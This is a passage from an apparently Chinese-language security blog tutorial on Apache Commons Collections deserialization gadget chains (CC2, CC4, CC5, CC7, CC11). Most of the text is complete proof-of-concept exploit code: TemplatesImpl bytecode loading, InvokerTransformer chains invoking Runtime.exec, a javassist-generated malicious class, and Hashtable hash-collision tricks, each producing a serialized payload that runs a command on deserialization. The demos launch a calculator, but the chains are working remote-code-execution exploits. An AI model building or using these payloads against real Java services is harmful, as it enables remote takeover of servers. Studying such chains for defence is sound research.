    ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");         ABSTRACT_TRANSLET.setAccessible(true);         ABSTRACT_TRANSLET.set(templates, "java.lang.Object"); //        Transformer transformer = templates.newTransformer();         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(TrAXFilter.class),                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         HashMap<Object, Object> map = new HashMap<>();         Map<Object, Object> decorate = LazyMap.decorate(map,  chainedTransformer);         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);         constructor.setAccessible(true);         InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);         Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);         Object o = constructor.newInstance(Target.class, newMap);         serialize(o);         deserialize("cc3.bin");     } }  

OK,完美解决

心不在焉CC4

CC4需要commoncollection4的依赖

<dependency>     <groupId>org.apache.commons</groupId>     <artifactId>commons-collections4</artifactId>     <version>4.0</version> </dependency> 

CC4其实就是CC3的前半部分,在修改了一下后部分的一些操作,不是像CC1,CC6那样使用LazyMap来触发transform了,所以得换其它类,such as TransformingComparator,这是commoncollection4里的类,我们跟进一下,compare这里调用了transform
Java CC链全分析
继续跟进,看哪调用了compare,PriorityQueueJava CC链全分析
跟进
Java CC链全分析
继续跟进
Java CC链全分析
完美
Java CC链全分析
构造exp:

package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;  import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;  public class CC4 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc4.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");         ABSTRACT_TRANSLET.setAccessible(true);         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(TrAXFilter.class),                 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));         Field transformer = TransformingComparator.class.getDeclaredField("transformer");         transformer.setAccessible(true);         transformer.set(transformingComparator, chainedTransformer);         PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);         priorityQueue.add(1);         priorityQueue.add(2);         serialize(priorityQueue);         deserialize("cc4.bin");     } } 

成功弹出计算器

身不由己CC2

CC2与CC4不同的地方就是后半些许不同,没有用chainedtrainsform,直接用invokertransformer
直接上poc了,没啥可调试的

package com.f12;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;  import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;  public class CC2 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc2.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {         TemplatesImpl templates = new TemplatesImpl();         Field _name = TemplatesImpl.class.getDeclaredField("_name");         _name.setAccessible(true);         _name.set(templates, "1");         Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");         _bytecodes.setAccessible(true);         byte[] bytes = Files.readAllBytes(Paths.get("D:\Java安全学习\CC1\target\classes\com\f12\Eval.class"));         byte[][] code = {bytes};         _bytecodes.set(templates, code);         Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");         _tfactory.setAccessible(true);         _tfactory.set(templates, new TransformerFactoryImpl());         Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");         ABSTRACT_TRANSLET.setAccessible(true);         ABSTRACT_TRANSLET.set(templates, "java.lang.Object");         InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});         TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));         PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);         priorityQueue.add(templates);         priorityQueue.add(2);         Field transformer = TransformingComparator.class.getDeclaredField("transformer");         transformer.setAccessible(true);         transformer.set(transformingComparator, invokerTransformer);         serialize(priorityQueue);         deserialize("cc2.bin");     } } 

有点眼熟CC5

CC5就是改了一点点的CC6,看链子,就改了readObject部分,分析一下Java CC链全分析
触发LazyMap.get换成了toString,这里调用了getValueJava CC链全分析
继续跟进,BadAttributeValueExpException的readObject调用了toString
Java CC链全分析
这样就可以构造链子了,非常简单

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;  public class CC5 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc5.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);         Map<Object, Object> map = new HashMap<>();         Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);         TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);         Field val = BadAttributeValueExpException.class.getDeclaredField("val");         val.setAccessible(true);         val.set(badAttributeValueExpException, tiedMapEntry);         serialize(badAttributeValueExpException);         deserialize("cc5.bin");     } } 

越看越熟CC7

CC7的链子,这里是从LazyMap.get的调用开始修改了
Java CC链全分析
追踪一下,AbstractMap类的equals调用了get
Java CC链全分析
继续追踪equals,AbstractMapDecorator的equals调用了
Java CC链全分析
继续追踪,为什么要用reconstitutionPut?Hashtable里还有好多地方都调用了equals
Java CC链全分析
因为它在readObject中被调用了

 private void readObject(java.io.ObjectInputStream s)          throws IOException, ClassNotFoundException     {         // Read in the length, threshold, and loadfactor         s.defaultReadObject();          // Read the original length of the array and number of elements         int origlength = s.readInt();         int elements = s.readInt();          // Compute new size with a bit of room 5% to grow but         // no larger than the original size.  Make the length         // odd if it's large enough, this helps distribute the entries.         // Guard against the length ending up zero, that's not valid.         int length = (int)(elements * loadFactor) + (elements / 20) + 3;         if (length > elements && (length & 1) == 0)             length--;         if (origlength > 0 && length > origlength)             length = origlength;         table = new Entry<?,?>[length];         threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);         count = 0;          // Read the number of elements and then all the key/value objects         for (; elements > 0; elements--) {             @SuppressWarnings("unchecked")                 K key = (K)s.readObject();             @SuppressWarnings("unchecked")                 V value = (V)s.readObject();             // synch could be eliminated for performance             reconstitutionPut(table, key, value);         }     } 

这样链子就明了了,构造poc,注意AbstractMapDecoratorAbstractMap都是抽象类,并不能实例化,但是都实现了Map,所以调用equals时是调用lazyMap.equals,找不到往上找就能找到AbstractMap.equals

package com.f12;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.AbstractMapDecorator; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.reflect.Field; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;  public class CC7 {     public static void serialize(Object obj) throws IOException {         FileOutputStream fos = new FileOutputStream("cc7.bin");         ObjectOutputStream oos = new ObjectOutputStream(fos);         oos.writeObject(obj);     }     public static void deserialize(String filename) throws IOException, ClassNotFoundException {         FileInputStream fis = new FileInputStream(filename);         ObjectInputStream ois = new ObjectInputStream(fis);         ois.readObject();     }      public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})         };         ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});         Map<Object, Object> map1 = new HashMap<>();         Map<Object, Object> map2 = new HashMap<>();         Map<Object, Object> lazymap1 = LazyMap.decorate(map1, chainedTransformer);         Map<Object, Object> lazymap2 = LazyMap.decorate(map2, chainedTransformer);         lazymap1.put("yy", 1);         lazymap2.put("zZ",1);         Hashtable hashtable = new Hashtable<>();         hashtable.put(lazymap1, 1);         hashtable.put(lazymap2,2);         Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");         iTransformers.setAccessible(true);         iTransformers.set(chainedTransformer, transformers);         lazymap2.remove("yy");         serialize(hashtable);         deserialize("cc7.bin");     } }  

这里很有意思,键值还非得是yyzZ,原因是它们两个的hashCode值相等,这样在reconstitutionPut方法中才能触发equals方法

不知好歹CC11

这里还学到一个javassist动态创建类,依赖:

<dependency>   <groupId>org.javassist</groupId>   <artifactId>javassist</artifactId>   <version>3.29.1-GA</version> </dependency> 

从构造形式来看像是CC2和CC6的杂交,但是里面有挺多的细节,先给出poc:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet;  @SuppressWarnings("all") public class cc11 {     public static void main(String[] args) throws Exception {          // 利用javasist动态创建恶意字节码         ClassPool pool = ClassPool.getDefault();         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));         CtClass cc = pool.makeClass("Cat");         String cmd = "java.lang.Runtime.getRuntime().exec("open  /System/Applications/Calculator.app");";         cc.makeClassInitializer().insertBefore(cmd);         String randomClassName = "EvilCat" + System.nanoTime();         cc.setName(randomClassName);         cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错          // 写入.class 文件         // 将我的恶意类转成字节码,并且反射设置 bytecodes         byte[] classBytes = cc.toBytecode();         byte[][] targetByteCodes = new byte[][]{classBytes};         TemplatesImpl templates = TemplatesImpl.class.newInstance();          Field f0 = templates.getClass().getDeclaredField("_bytecodes");         f0.setAccessible(true);         f0.set(templates,targetByteCodes);          f0 = templates.getClass().getDeclaredField("_name");         f0.setAccessible(true);         f0.set(templates,"name");          f0 = templates.getClass().getDeclaredField("_class");         f0.setAccessible(true);         f0.set(templates,null);          InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);         HashMap innermap = new HashMap();         LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);         TiedMapEntry tiedmap = new TiedMapEntry(map,templates);         HashSet hashset = new HashSet(1);         hashset.add("foo");         Field f = null;         try {             f = HashSet.class.getDeclaredField("map");         } catch (NoSuchFieldException e) {             f = HashSet.class.getDeclaredField("backingMap");         }         f.setAccessible(true);         HashMap hashset_map = (HashMap) f.get(hashset);          Field f2 = null;         try {             f2 = HashMap.class.getDeclaredField("table");         } catch (NoSuchFieldException e) {             f2 = HashMap.class.getDeclaredField("elementData");         }          f2.setAccessible(true);         Object[] array = (Object[])f2.get(hashset_map);          Object node = array[0];         if(node == null){             node = array[1];         }         Field keyField = null;         try{             keyField = node.getClass().getDeclaredField("key");         }catch(Exception e){             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");         }         keyField.setAccessible(true);         keyField.set(node,tiedmap);          Field f3 = transformer.getClass().getDeclaredField("iMethodName");         f3.setAccessible(true);         f3.set(transformer,"newTransformer");          try{             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));             outputStream.writeObject(hashset);             outputStream.close();              ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));             inputStream.readObject();         }catch(Exception e){             e.printStackTrace();         }     }  } 

先解释一下动态生成类

ClassPool pool = ClassPool.getDefault();: 创建一个ClassPool对象,它是Javassist库中用于管理CtClass对象(表示编译时类)的池。  pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));: 将AbstractTranslet类的类路径(ClassClassPath)插入到ClassPool中。这样做是为了确保在创建新类时,能够引用到AbstractTranslet类。  CtClass cc = pool.makeClass("Cat");: 使用ClassPool创建一个名为"Cat"的新CtClass对象,表示一个新的类。  String cmd = "java.lang.Runtime.getRuntime().exec("open  /System/Applications/Calculator.app");";: 定义了一个字符串变量cmd,其中包含要执行的恶意命令。该命令使用Runtime.getRuntime().exec()方法执行一个指定的命令,这里是打开计算器应用程序(Calculator.app)。  cc.makeClassInitializer().insertBefore(cmd);: 使用cc.makeClassInitializer()创建类初始化器(class initializer),并在其之前插入恶意命令。  String randomClassName = "EvilCat" + System.nanoTime();: 创建一个随机的类名,以确保每次执行代码时都会创建一个唯一的类名。  cc.setName(randomClassName);: 将新创建的类的名称设置为随机生成的类名。  cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));: 设置新创建的类的父类为AbstractTranslet类。 

分析过程:http://wjlshare.com/archives/1536

结尾

CC链到此为止,有些地方可能我自己也没弄太明白,建议结合其它文章品鉴

发表评论

评论已关闭。

相关文章